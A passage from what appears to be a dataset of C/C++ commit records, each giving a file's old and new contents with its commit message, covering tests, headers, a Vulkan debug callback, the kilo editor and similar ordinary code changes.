API\n","lang":"C","license":"bsd-2-clause","repos":"CloudSites\/OpenBalance,CloudSites\/OpenBalance,CloudSites\/OpenBalance"}
{"commit":"16f93c03ba8a8c01d03f8c1b8d5f5aedc169d6a0","old_file":"src\/containers\/hash_map.h","new_file":"src\/containers\/hash_map.h","old_contents":"","new_contents":"#ifndef JTL_HASH_MAP_H__\n#define JTL_HASH_MAP_H__\n#include <memory>\n\nnamespace jtl {\n\ntemplate <typename Key,\n          typename Value>\nclass HashMap {\n\n  struct MapNode {\n    MapNode(Key k, Value v) : key(k), value(v) {}\n    ~MapNode() {\n      delete key;\n      delete value;\n    }\n\n    Key key;\n    Value value;\n  }; \/\/ struct MapNode\n\n  class HashMapBase_ {\n    private:\n      \/\/ bins is an array of pointers to arrays of key-value nodes\n      MapNode** bins_;       \n\n  }; \/\/ class HashMapBase_\n  public:\n  private:\n    Key* bins_;\n}; \/\/ class HashMap\n} \/\/ namespace jtl\n#endif\n","subject":"Add initial layout of hash map implementation","message":"Add initial layout of hash map implementation\n","lang":"C","license":"mit","repos":"j-haj\/algorithms-datastructures"}
{"commit":"c162a1e20af4a2bb48f86f4faeb0be09dbe75c75","old_file":"tests\/longjmp\/setlongjmp.c","new_file":"tests\/longjmp\/setlongjmp.c","old_contents":"\/*\n * Copyright 2010 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <setjmp.h>\n#include <stdio.h>\n\nstatic jmp_buf buf;\n\nint main(void) {\n  volatile int result = -1;\n  if (!setjmp(buf) ) {\n    result = 55;\n    printf(\"setjmp was invoked\\n\");\n    longjmp(buf, 1);\n    printf(\"this print statement is not reached\\n\");\n    return -1;\n  } else {\n    printf(\"longjmp was invoked\\n\");\n    return result;\n  }\n}\n","new_contents":"\/*\n * Copyright 2010 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <setjmp.h>\n#include <stdio.h>\n\n#include \"native_client\/src\/include\/nacl_assert.h\"\n\nstatic jmp_buf buf;\n\nint trysetjmp(int longjmp_arg) {\n  volatile int result = -1;\n  int setjmp_ret = -1;\n\n  setjmp_ret = setjmp(buf);\n  if (!setjmp_ret) {\n    \/* Check that setjmp() doesn't return 0 multiple times *\/\n    ASSERT_EQ(result, -1);\n\n    result = 55;\n    printf(\"setjmp was invoked\\n\");\n    longjmp(buf, longjmp_arg);\n    printf(\"this print statement is not reached\\n\");\n    return -1;\n  } else {\n    int expected_ret = longjmp_arg != 0 ? longjmp_arg : 1;\n    ASSERT_EQ(setjmp_ret, expected_ret);\n    printf(\"longjmp was invoked\\n\");\n    return result;\n  }\n}\n\nint main(void) {\n  if (trysetjmp(1) != 55 ||\n      trysetjmp(0) != 55 ||\n      trysetjmp(-1) != 55)\n    return -1;\n  return 55;\n}\n","subject":"Test that invoking longjmp with an argument of 0 causes setjmp to return 1","message":"Test that invoking longjmp with an argument of 0 causes setjmp to return 1\n\nNewlib's x86_64 implementation of longjmp previously failed for this case.\nUpdate the setlongjmp.c test to check the return value of setjmp.\nAdditionally fail if setjmp returns 0 twice to avoid an infinite\nloop in the recent failure case.\n\nBUG= https:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=4088\nR=mseaborn@chromium.org\n\nReview URL: https:\/\/codereview.chromium.org\/926533003\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"1efee7879cd4c6dda74f38f807155a8497fd046d","old_file":"test\/CodeGen\/unsupported.c","new_file":"test\/CodeGen\/unsupported.c","old_contents":"\/\/ RUN: clang -verify -emit-llvm -o - %s \n\nint f0(int x) {\n  int vla[x];\n  return vla[x-1]; \/\/ expected-error {{cannot compile this return inside scope with VLA yet}}\n}\n","new_contents":"\/\/ RUN: clang -verify -emit-llvm -o - %s \n\nvoid *x = L\"foo\"; \/\/ expected-error {{cannot compile this wide string yet}}\n","subject":"Update test case; VLA's are now supported.","message":"Update test case; VLA's are now supported.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@64168 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"2b4ca17c046947150b49eb22a7b026a29482a2a7","old_file":"source\/gloperate-qt\/include\/gloperate-qt\/qt-includes-begin.h","new_file":"source\/gloperate-qt\/include\/gloperate-qt\/qt-includes-begin.h","old_contents":"\/******************************************************************************\\\n * gloperate\n *\n * Copyright (C) 2014 Computer Graphics Systems Group at the \n * Hasso-Plattner-Institut (HPI), Potsdam, Germany.\n\\******************************************************************************\/\n\n\n\/\/ Turn off warnings generated by Qt headers (this project uses 'treat warning as errors')\n\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wfloat-equal\"\n#pragma GCC diagnostic ignored \"-Wfloat-conversion\"\n#pragma GCC diagnostic ignored \"-Wconversion\"\n#pragma GCC diagnostic ignored \"-Wswitch\"\n#endif\n","new_contents":"\/******************************************************************************\\\n * gloperate\n *\n * Copyright (C) 2014 Computer Graphics Systems Group at the \n * Hasso-Plattner-Institut (HPI), Potsdam, Germany.\n\\******************************************************************************\/\n\n\n\/\/ Turn off warnings generated by Qt headers (this project uses 'treat warning as errors')\n\n#ifdef __GNUC__\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wfloat-equal\"\n#pragma GCC diagnostic ignored \"-Wconversion\"\n#pragma GCC diagnostic ignored \"-Wswitch\"\n#endif\n","subject":"Remove unrecognized gcc warning flag","message":"Remove unrecognized gcc warning flag\n","lang":"C","license":"mit","repos":"cginternals\/gloperate,lanice\/gloperate,Beta-Alf\/gloperate,cginternals\/gloperate,j-o\/gloperate,lanice\/gloperate,j-o\/gloperate,hpicgs\/gloperate,j-o\/gloperate,Beta-Alf\/gloperate,p-otto\/gloperate,hpi-r2d2\/gloperate,p-otto\/gloperate,cginternals\/gloperate,hpicgs\/gloperate,p-otto\/gloperate,hpicgs\/gloperate,hpi-r2d2\/gloperate,lanice\/gloperate,p-otto\/gloperate,cginternals\/gloperate,lanice\/gloperate,p-otto\/gloperate,j-o\/gloperate,hpicgs\/gloperate,hpicgs\/gloperate,Beta-Alf\/gloperate,Beta-Alf\/gloperate,lanice\/gloperate,Beta-Alf\/gloperate"}
{"commit":"a1da8b7f99f6b08dff4e99202d346d08f762a9d3","old_file":"tests\/regression\/31-ikind-aware-ints\/16-enums-compare.c","new_file":"tests\/regression\/31-ikind-aware-ints\/16-enums-compare.c","old_contents":"","new_contents":"\/\/PARAM: --enable ana.int.enums --disable ana.int.def_exc\nint main(){\n    int top = rand();\n    int x,y;\n\n    if(top){\n        x = 1;\n    } else{\n        x = 0;\n    }\n\n    assert(x<2);\n    return 0;\n}\n","subject":"Add test case for less-than comparision on enums.","message":"Add test case for less-than comparision on enums.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"a9c930d89e24dcb68345df73f6f8068224b34e66","old_file":"src\/port\/gui.c","new_file":"src\/port\/gui.c","old_contents":"#include \"..\/sccs.h\"\n\n\/*\n * Copyright (c) 2001 Andrew Chang       All rights reserved.\n *\/\n\nint\ngui_useDisplay(void)\n{\n\tchar\t*p;\n\n\tif ((p = getenv(\"BK_NO_GUI_PROMPT\")) && *p) return (0);\n\tif (win32() || macosx()) return ((p = getenv(\"BK_GUI\")) && *p);\n\treturn (getenv(\"DISPLAY\") && (p = getenv(\"BK_GUI\")) && *p);\n}\n\nchar *\ngui_displayName(void)\n{\n#ifdef WIN32\n\treturn (\"monitor\");\n#else\n\tif (gui_useAqua()) {return (\"monitor\");}\n\treturn (getenv(\"DISPLAY\"));\n#endif\n\n}\n\nint\ngui_useAqua(void)\n{\n#ifdef\t__APPLE__\n\tchar\t*disp = getenv(\"DISPLAY\");\n\n\tif ((disp == 0) || strneq(disp, \"\/tmp\/launch\", 11)) return (1);\n#endif\n\treturn 0;\n}\n","new_contents":"#include \"..\/sccs.h\"\n\n\/*\n * Copyright (c) 2001 Andrew Chang       All rights reserved.\n *\/\n\nint\ngui_useDisplay(void)\n{\n\tchar\t*p;\n\n\tif ((p = getenv(\"BK_NO_GUI_PROMPT\")) && *p) return (0);\n\tif (win32() || macosx()) return ((p = getenv(\"BK_GUI\")) && *p);\n\treturn (getenv(\"DISPLAY\") && (p = getenv(\"BK_GUI\")) && *p);\n}\n\nchar *\ngui_displayName(void)\n{\n#ifdef WIN32\n\treturn (\"monitor\");\n#else\n\tif (gui_useAqua()) {return (\"monitor\");}\n\treturn (getenv(\"DISPLAY\"));\n#endif\n\n}\n\nint\ngui_useAqua(void)\n{\n#ifdef\t__APPLE__\n\tchar\t*disp = getenv(\"DISPLAY\");\n\n\tif ((disp == 0) || strneq(disp, \"\/tmp\/launch\", 11) ||\n\t    strstr(disp, \"com.apple.launchd\")) return (1);\n#endif\n\treturn 0;\n}\n","subject":"Fix launching our GUIs in Mac OS X 10.10.","message":"Fix launching our GUIs in Mac OS X 10.10.\n\nbk: 54947f4dZaedAuVpUTDfrtsbDBPyVA","lang":"C","license":"apache-2.0","repos":"bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper,bitkeeper-scm\/bitkeeper"}
{"commit":"cc680488220415b0d04a30c5c08e23eb6dc05c96","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n#include \"..\/src\/prompt.h\"\n\nint main(void)\n{\n  for (;;)\n  {\n    char *line = prompt(\"> \");\n    if (line == NULL)\n      break;\n\n    printf(\"You wrote '%s'\\n\", line);\n    free(line);\n  }\n\n  prompt_free();\n  return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n#ifdef DEBUG\n#  include \"..\/src\/prompt.h\"\n#else\n#  include <prompt.h>\n#endif\n\nint main(void)\n{\n  for (;;)\n  {\n    char *line = prompt(\"> \");\n    if (line == NULL)\n      break;\n\n    printf(\"You wrote '%s'\\n\", line);\n    free(line);\n  }\n\n  prompt_free();\n  return 0;\n}\n","subject":"Set header location depending on flags","message":"Set header location depending on flags\n","lang":"C","license":"isc","repos":"lollek\/libprompt"}
{"commit":"f0ed4e0b35ce1473577c121148696fde18ef78ef","old_file":"test\/jid_test.c","new_file":"test\/jid_test.c","old_contents":"","new_contents":"\/**\n * xmp3 - XMPP Proxy\n * Copyright (c) 2012 Drexel University\n *\n * @file jid_test.c\n * Unit tests for JID functions.\n *\/\n\n#include <test-dept.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n#include \"jid.h\"\n\nvoid setup(void) {\n}\n\nvoid teardown(void) {\n    restore_function(&calloc);\n}\n\nstatic void* always_failing_calloc() {\n    return NULL;\n}\n\nvoid test_new_bad_malloc(void) {\n    replace_function(&calloc, &always_failing_calloc);\n    struct jid* jid = jid_new();\n    assert_pointer_equals(NULL, jid);\n}\n\nvoid test_from_str1(void) {\n    struct jid* jid = jid_new_from_str(\"local@domain\/resource\");\n    assert_string_equals(\"local\", jid_local(jid));\n    assert_string_equals(\"domain\", jid_domain(jid));\n    assert_string_equals(\"resource\", jid_resource(jid));\n    jid_del(jid);\n}\n\nvoid test_from_str2(void) {\n    struct jid* jid = jid_new_from_str(\"local@domain\");\n    assert_string_equals(\"local\", jid_local(jid));\n    assert_string_equals(\"domain\", jid_domain(jid));\n    assert_pointer_equals(NULL, jid_resource(jid));\n    jid_del(jid);\n}\n\nvoid test_from_str3(void) {\n    struct jid* jid = jid_new_from_str(\"domain\");\n    assert_pointer_equals(NULL, jid_local(jid));\n    assert_string_equals(\"domain\", jid_domain(jid));\n    assert_pointer_equals(NULL, jid_resource(jid));\n    jid_del(jid);\n}\n","subject":"Add some beginning test functions (for jid.c).","message":"Add some beginning test functions (for jid.c).\n","lang":"C","license":"mit","repos":"BellerophonMobile\/xmp3,BellerophonMobile\/xmp3,BellerophonMobile\/xmp3"}
{"commit":"14c4c26204b144e00e7e317f5ccbb75ed916fdc1","old_file":"tests\/regression\/01-cpa\/35-enum.c","new_file":"tests\/regression\/01-cpa\/35-enum.c","old_contents":"","new_contents":"\/\/ PARAM: --disable ana.int.interval --disable ana.int.def_exc --enable ana.int.enums\nvoid main(){\n    int n = 1;\n    for (; n; n++) { \/\/ fixed point not reached here\n\t}\n\treturn;\n}","subject":"Add failing test case for enums","message":"Add failing test case for enums\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"2453526cd6fffa027cfe80d1221eae0be0784ce0","old_file":"interface\/target\/hal\/DBG_Freescale\/DBG_KL26Z\/frdm_kl26z_app_config.c","new_file":"interface\/target\/hal\/DBG_Freescale\/DBG_KL26Z\/frdm_kl26z_app_config.c","old_contents":"","new_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"target_config.h\"\n\n\/\/ frdm-k64f target information\nconst target_cfg_t target_device = {\n    .board_id   = \"0000\",\n    .secret     = \"xxxxxxxx\",\n    .sector_size    = 2048,\n    \/\/ Assume memory is regions are same size. Flash algo should ignore requests\n    \/\/  when variable sized sectors exist\n    \/\/ .sector_cnt = ((.flash_end - .flash_start) \/ .sector_size);\n    .sector_cnt     = (kB(512)\/2048),\n    .flash_start    = 0,\n    .flash_end      = kB(512),\n    .ram_start      = 0x1FFF0000,\n    .ram_end        = 0x20010000,\n    .disc_size      = kB(512)\n};\n","subject":"Add target description for KL26Z","message":"Add target description for KL26Z\n","lang":"C","license":"apache-2.0","repos":"sg-\/CMSIS-DAP,sg-\/DAPLink,rosterloh\/CMSIS-DAP,google\/DAPLink-port,sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port,sg-\/CMSIS-DAP,rosterloh\/CMSIS-DAP,sg-\/CMSIS-DAP,sg-\/DAPLink,rosterloh\/CMSIS-DAP,google\/DAPLink-port"}
{"commit":"97738e2694165e58e33dadc7ec0411beb048c449","old_file":"src\/loginwindow.h","new_file":"src\/loginwindow.h","old_contents":"#ifndef _LOGINWINDOW_H_\n#define _LOGINWINDOW_H_\n#include <string>\n#include <iostream>\n#include \"window.h\"\nusing namespace std;\nclass LoginWindow : public Window {\n    string name;\n    string pass;\n    public:\n    LoginWindow():Window(\"Login\") {}\n    const string& getUsername() const {\n        return name;\n    }\n    const string& getPassword() const {\n        return pass;\n    }\n    virtual void handle() {\n        bool passSet = false;\n        bool nameSet = false;\n        do {\n            drawTitle();\n            cout << \"User: \" << name << endl;\n            cout << \"Password: \" << pass << endl;\n            cout << endl << \"Write 'u' to edit the username, 'p' to edit the password.\" << endl;\n            string cmd = readCommand();\n            if(cmd == \"u\") {\n                string name = readCommand(\"User > \");\n                this->name = name;\n                nameSet = (name != \"\");\n            }else if(cmd == \"p\") {\n                string pass = readCommand(\"Pass > \");\n                this->pass = pass;\n                passSet = (pass != \"\");\n            }\n        }while(!passSet || !nameSet);\n    }\n};\n#endif\n","new_contents":"#ifndef _LOGINWINDOW_H_\n#define _LOGINWINDOW_H_\n#include <string>\n#include <iostream>\n#include \"window.h\"\nusing namespace std;\nclass LoginWindow : public Window {\n    string name;\n    string pass;\n    public:\n    LoginWindow():Window(\"Login\") {}\n    const string& getUsername() const {\n        return name;\n    }\n    const string& getPassword() const {\n        return pass;\n    }\n    virtual void handle() {\n        bool complete = false;\n        do {\n            drawTitle();\n            cout << \"User: \" << name << endl;\n            cout << \"Password: \" << string(pass.length(),'*') << endl;\n            cout << endl << \"Write 'u' to edit the username, 'p' to edit the password.\" << endl;\n            if(pass != \"\" && name != \"\") {\n                cout << \"Write 'l' to login.\" << endl;\n            }\n            string cmd = readCommand();\n            if(cmd == \"u\") {\n                string name = readCommand(\"User > \");\n                this->name = name;\n            }else if(cmd == \"p\") {\n                string pass = readCommand(\"Pass > \");\n                this->pass = pass;\n            }else if(pass != \"\" && name != \"\" && cmd == \"l\") {\n                complete = true;\n            }\n        }while(!complete);\n    }\n};\n#endif\n","subject":"Change login logic, add 'l' cmd","message":"Change login logic, add 'l' cmd\n","lang":"C","license":"mit","repos":"nyz93\/advertapp,nyz93\/advertapp"}
{"commit":"8ab0d21f8a7b364e5649abaa534304e9474c08f8","old_file":"searchcore\/src\/vespa\/searchcore\/proton\/bucketdb\/remove_batch_entry.h","new_file":"searchcore\/src\/vespa\/searchcore\/proton\/bucketdb\/remove_batch_entry.h","old_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/document\/base\/globalid.h>\n#include <vespa\/document\/bucket\/bucketid.h>\n#include <persistence\/spi\/types.h>\n\n\nnamespace proton::bucketdb {\n\nclass RemoveBatchEntry {\n    document::GlobalId      _gid;\n    document::BucketId      _bucket_id;\n    storage::spi::Timestamp _timestamp;\n    uint32_t                _doc_size;\npublic:\n    RemoveBatchEntry(const document::GlobalId& gid, const document::BucketId& bucket_id, const storage::spi::Timestamp& timestamp, uint32_t doc_size) noexcept\n        : _gid(gid),\n          _bucket_id(bucket_id),\n          _timestamp(timestamp),\n          _doc_size(doc_size)\n    {\n    }\n\n    const document::GlobalId& get_gid() const noexcept { return _gid; }\n    const document::BucketId& get_bucket_id() const noexcept { return _bucket_id; }\n    const storage::spi::Timestamp& get_timestamp() const noexcept { return _timestamp; }\n    uint32_t get_doc_size() const noexcept { return _doc_size; }\n};\n\n}\n","new_contents":"\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/document\/base\/globalid.h>\n#include <vespa\/document\/bucket\/bucketid.h>\n#include <persistence\/spi\/types.h>\n\n\nnamespace proton::bucketdb {\n\n\/*\n * Class containing meta data for a single document being removed from\n * bucket db.\n *\/\nclass RemoveBatchEntry {\n    document::GlobalId      _gid;\n    document::BucketId      _bucket_id;\n    storage::spi::Timestamp _timestamp;\n    uint32_t                _doc_size;\npublic:\n    RemoveBatchEntry(const document::GlobalId& gid, const document::BucketId& bucket_id, const storage::spi::Timestamp& timestamp, uint32_t doc_size) noexcept\n        : _gid(gid),\n          _bucket_id(bucket_id),\n          _timestamp(timestamp),\n          _doc_size(doc_size)\n    {\n    }\n\n    const document::GlobalId& get_gid() const noexcept { return _gid; }\n    const document::BucketId& get_bucket_id() const noexcept { return _bucket_id; }\n    const storage::spi::Timestamp& get_timestamp() const noexcept { return _timestamp; }\n    uint32_t get_doc_size() const noexcept { return _doc_size; }\n};\n\n}\n","subject":"Add class comment for proton::bucketdb::RemoveBatchEntry.","message":"Add class comment for proton::bucketdb::RemoveBatchEntry.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"02e86ccfe9fc04afbd5275d4b2f27881d61e3ced","old_file":"ServerMonitoringService\/ServerMonitoringService\/SystemMemory.h","new_file":"ServerMonitoringService\/ServerMonitoringService\/SystemMemory.h","old_contents":"#ifndef _SYSTEMEMORY_H_\n#define _SYSTEMEMORY_H_\n\n#include \"windows.h\"\n\nclass SystemMemory\n{\nprivate:\n\tMEMORYSTATUSEX memoryStat;\nprivate:\n\tint memoryCall();\npublic:\n\tint getLoadPercent(int &val);\n\tint getUsage(double &val);\n\tint getTotalByte(DWORD &val);\n\tint getFreeByte(DWORD &val);\n};\n\n#endif","new_contents":"#ifndef _SYSTEMEMORY_H_\n#define _SYSTEMEMORY_H_\n\n#include \"windows.h\"\n\ntypedef unsigned long       DWORD;\n\nclass SystemMemory\n{\nprivate:\n\tMEMORYSTATUSEX memoryStat;\nprivate:\n\tint memoryCall();\npublic:\n\tint getLoadPercent(int &val);\n\tint getUsage(double &val);\n\tint getTotalByte(DWORD &val);\n\tint getFreeByte(DWORD &val);\n};\n\n#endif","subject":"Define 'unsigned long' as 'DWORD' for cross-platform","message":"Define 'unsigned long' as 'DWORD' for cross-platform\n","lang":"C","license":"mit","repos":"bg0820\/SMS,bg0820\/SMS"}
{"commit":"268f2a58905b8528cdc17556388dd28848fa18d0","old_file":"sa.h","new_file":"sa.h","old_contents":"#ifndef FINAL_SEQUENTIALSA_SA_H_\n#define FINAL_SEQUENTIALSA_SA_H_\n\n\n\n#endif  \/\/ FINAL_SEQUENTIALSA_SA_H_\n","new_contents":"#ifndef FINAL_SEQUENTIALSA_SA_H_\n#define FINAL_SEQUENTIALSA_SA_H_\n\n#define TEMPERATURE 100 \/*Initial temperature*\/\n#define TEMPERATURE_DECREMENT 0.99 \/*The amount by which teh temperature is decrement each iteration*\/\n#define TEMPERATURE_FINAL 0.01 \/*The coolest temperature, time to stop*\/\n#define NUMBER_ITERATIONS 1000 \/*Total number of iterations to execute before reducing temperature*\/\n#define ITERATIONS_PER_FILE 5 \/*Number of times to run each input file*\/\n\n\n#endif  \/\/ FINAL_SEQUENTIALSA_SA_H_\n","subject":"Move constant declarations to header file","message":"Move constant declarations to header file\n","lang":"C","license":"mit","repos":"vramdhanie\/sequentialsa,vramdhanie\/sequentialsa"}
{"commit":"6c241d80c44336405e199ff0c96c876d17b939e4","old_file":"gmtk.h","new_file":"gmtk.h","old_contents":"#ifndef _GMTK_H_\n#define _GMTK_H_\n\n#include \"half.h\"\n#include \"angle.h\"\n#include \"vector.h\"\n#include \"matrix.h\"\n#include \"quaternion.h\"\n\n#endif\/\/_GMTK_H_","new_contents":"#ifndef _GMTK_H_\n#define _GMTK_H_\n\n#include \"half.h\"\n#include \"angle.h\"\n#include \"percent.h\"\n#include \"vector.h\"\n#include \"matrix.h\"\n#include \"quaternion.h\"\n\n#endif\/\/_GMTK_H_","subject":"Add percentage class to main header","message":"Add percentage class to main header\n","lang":"C","license":"mit","repos":"dyeo\/gmtk,DanYeomans\/gmtk,DanYeomans\/gmtk,dyeo\/gmtk"}
{"commit":"dc0e7eda7bc21434d072fb925685a82b4b0b38e2","old_file":"kilo.c","new_file":"kilo.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_lflag &= ~(ECHO | ICANON);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_lflag &= ~(ECHO | ICANON | ISIG);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","subject":"Disable Ctrl-C and Ctrl-Z (Ctrl-Y on macOS)","message":"Disable Ctrl-C and Ctrl-Z (Ctrl-Y on macOS)\n","lang":"C","license":"bsd-2-clause","repos":"oldsharp\/kilo,oldsharp\/kilo"}
{"commit":"cd84c7964893696d19844fdd281095ad57c109b2","old_file":"utils\/cbits\/DebugCallback.c","new_file":"utils\/cbits\/DebugCallback.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <vulkan\/vulkan.h>\n\nVKAPI_ATTR VkBool32 VKAPI_CALL\ndebugCallback(VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity,\n              VkDebugUtilsMessageTypeFlagsEXT messageType,\n              const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData,\n              void *pUserData) {\n  fprintf(stderr, \"Validation: %s\\n\", pCallbackData->pMessage);\n  return VK_FALSE;\n}\n\nVKAPI_ATTR VkBool32 VKAPI_CALL\ndebugCallbackFatal(VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity,\n                   VkDebugUtilsMessageTypeFlagsEXT messageType,\n                   const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData,\n                   void *pUserData) {\n  int errorBitSet = VK_DEBUG_UTILS_MESSAGE_SEVERITY_ERROR_BIT_EXT & messageSeverity;\n  int isError = VK_DEBUG_UTILS_MESSAGE_SEVERITY_ERROR_BIT_EXT == errorBitSet;\n\n  fprintf(stderr, \"Validation: %s\\n\", pCallbackData->pMessage);\n\n  if (isError) {\n    fprintf(stderr, \"Aborting on validation error.\\n\");\n    abort();\n  }\n  return VK_FALSE;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <vulkan\/vulkan.h>\n\nVKAPI_ATTR VkBool32 VKAPI_CALL\ndebugCallback(VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity,\n              VkDebugUtilsMessageTypeFlagsEXT messageType,\n              const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData,\n              void *pUserData) {\n  fprintf(stderr, \"Validation: %s\\n\", pCallbackData->pMessage);\n  return VK_FALSE;\n}\n\nVKAPI_ATTR VkBool32 VKAPI_CALL\ndebugCallbackFatal(VkDebugUtilsMessageSeverityFlagBitsEXT messageSeverity,\n                   VkDebugUtilsMessageTypeFlagsEXT messageType,\n                   const VkDebugUtilsMessengerCallbackDataEXT *pCallbackData,\n                   void *pUserData) {\n  debugCallback(messageSeverity, messageType, pCallbackData, pUserData);\n\n  if (messageSeverity & VK_DEBUG_UTILS_MESSAGE_SEVERITY_ERROR_BIT_EXT) {\n    fprintf(stderr, \"Aborting on validation error.\\n\");\n    abort();\n  }\n  return VK_FALSE;\n}\n","subject":"Write debugCallbackFatal in terms of debugCallback","message":"Write debugCallbackFatal in terms of debugCallback\n","lang":"C","license":"bsd-3-clause","repos":"expipiplus1\/vulkan,expipiplus1\/vulkan,expipiplus1\/vulkan"}
{"commit":"097e181807b77c8bf0427837c508bddbb8cc0330","old_file":"source\/threadingzeug\/include\/threadingzeug\/parallelfor.h","new_file":"source\/threadingzeug\/include\/threadingzeug\/parallelfor.h","old_contents":"#pragma once\n\n#include <functional>\n#include <vector>\n\n#include <threadingzeug\/threadingzeug.h>\n\nnamespace threadingzeug\n{\n\ntemplate<typename T>\nTHREADINGZEUG_API void parallel_for(const std::vector<T>& elements, std::function<void(const T& element)> callback);\n\ntemplate<typename T>\nTHREADINGZEUG_API void parallel_for(std::vector<T>& elements, std::function<void(T& element)> callback);\n\nTHREADINGZEUG_API void parallel_for(int start, int end, std::function<void(int i)> callback);\n\n\ntemplate<typename T>\nTHREADINGZEUG_API void sequential_for(const std::vector<T>& elements, std::function<void(const T& element)> callback);\n\ntemplate<typename T>\nTHREADINGZEUG_API void sequential_for(std::vector<T>& elements, std::function<void(T& element)> callback);\n\nTHREADINGZEUG_API void sequential_for(int start, int end, std::function<void(int i)> callback);\n\n} \/\/ namespace threadingzeug\n\n#include <threadingzeug\/parallelfor.hpp>\n","new_contents":"#pragma once\n\n#include <functional>\n#include <vector>\n\n#include <threadingzeug\/threadingzeug.h>\n\nnamespace threadingzeug\n{\n\ntemplate<typename T>\nvoid parallel_for(const std::vector<T>& elements, std::function<void(const T& element)> callback);\n\ntemplate<typename T>\nvoid parallel_for(std::vector<T>& elements, std::function<void(T& element)> callback);\n\nTHREADINGZEUG_API void parallel_for(int start, int end, std::function<void(int i)> callback);\n\n\ntemplate<typename 